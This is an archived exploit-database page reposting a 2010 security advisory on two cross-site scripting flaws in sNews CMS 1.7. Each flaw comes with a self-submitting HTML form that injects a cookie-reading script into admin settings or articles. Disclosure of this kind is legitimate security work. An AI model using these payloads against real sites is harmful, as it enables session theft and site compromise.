[webapps / 0day] - sNews CMS Multiple XSS Vulnerabilities
Posted on 21 October 2010
<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>sNews CMS Multiple XSS Vulnerabilities | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='sNews CMS Multiple XSS Vulnerabilities by High-Tech Bridge . in webapps / 0day | Inj3ct0r - exploit database : vulnerability : 0day : shellcode' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var _gaq = _gaq || [];_gaq.push(["_setAccount", "UA-12725838-1"]);_gaq.push(["_trackPageview"]);(function(){var ga = document.createElement("script"); ga.type = "text/javascript"; ga.async = true;ga.src = ("https:" == document.location.protocol ? "https://ssl" : "http://www") + ".google-analytics.com/ga.js";var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(ga, s);})();</script></head><body><pre>====================================== sNews CMS Multiple XSS Vulnerabilities ====================================== Vulnerability ID: HTB22638 Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_snews_1.html Product: sNews Vendor: sNews Team ( tp://www.snewscms.com/ ) Vulnerable Version: 1.7 and probably prior versions Vendor Notification: 05 October 2010 Vulnerability Type: XSS (Cross Site Scripting) Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the "snews.php" script to properly sanitize user-supplied input in "website_title" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/?action=process&task=save_settings" method="post" name="main" > <input type="hidden" name="website_title" value='sNews 1.7"><script>alert(document.cookie)</script>'> <input type="hidden" name="home_sef" value="home"> <input type="hidden" name="website_description" value="sNews CMS"> <input type="hidden" name="website_keywords" value="snews"> <input type="hidden" name="website_email" value="info (at) mydomain (dot) com [email concealed]"> <input type="hidden" name="contact_subject" value="Contact Form"> <input type="hidden" name="language" value="EN"> <input type="hidden" name="charset" value="UTF-8"> <input type="hidden" name="date_format" value="d.m.Y.+H:i"> <input type="hidden" name="article_limit" value="3"> <input type="hidden" name="rss_limit" value="5"> <input type="hidden" name="display_page" value="0"> <input type="hidden" name="num_categories" value="on"> <input type="hidden" name="file_ext" value="phps,php,txt,inc,htm,html"> <input type="hidden" name="allowed_file" value="php,htm,html,txt,inc,css,js,swf"> <input type="hidden" name="allowed_img" value="gif,jpg,jpeg,png"> <input type="hidden" name="comment_repost_timer" value="20"> <input type="hidden" name="comments_order" value="ASC"> <input type="hidden" name="comment_limit" value="30"> <input type="hidden" name="word_filter_file" value=""> <input type="hidden" name="word_filter_change" value=""> <input type="hidden" name="save" value="Save"> </form> <script> document.main.submit(); </script> Vulnerability ID: HTB22637 Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_snews.html Product: sNews Vendor: sNews Team ( http://www.snewscms.com/ ) Vulnerable Version: 1.7 and probably prior versions Vendor Notification: 05 October 2010 Vulnerability Type: Stored XSS (Cross Site Scripting) Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the "snews.php" script to properly sanitize user-supplied input in "text" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/?action=process&task=admin_article&id=2" method="post" name="main" > <input type="hidden" name="title" value="article title" /> <input type="hidden" name="seftitle" value="sefurl" /> <input type="hidden" name="text" value='article text"><script>alert(document.cookie)</script>' /> <input type="hidden" name="define_category" value="1" /> <input type="hidden" name="publish_article" value="on" /> <input type="hidden" name="position" value="1" /> <input type="hidden" name="description_meta" value="desc" /> <input type="hidden" name="keywords_meta" value="key" /> <input type="hidden" name="display_title" value="on" /> <input type="hidden" name="display_info" value="on" /> <input type="hidden" name="fposting_day" value="29" /> <input type="hidden" name="fposting_month" value="9" /> <input type="hidden" name="fposting_year" value="2010" /> <input type="hidden" name="fposting_hour" value="16" /> <input type="hidden" name="fposting_minute" value="40" /> <input type="hidden" name="task" value="admin_article" /> <input type="hidden" name="edit_article" value="Edit" /> <input type="hidden" name="article_category" value="1" /> <input type="hidden" name="id" value="2" /> </form> <script> document.main.submit(); </script> # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-10-21]</pre></body></html>
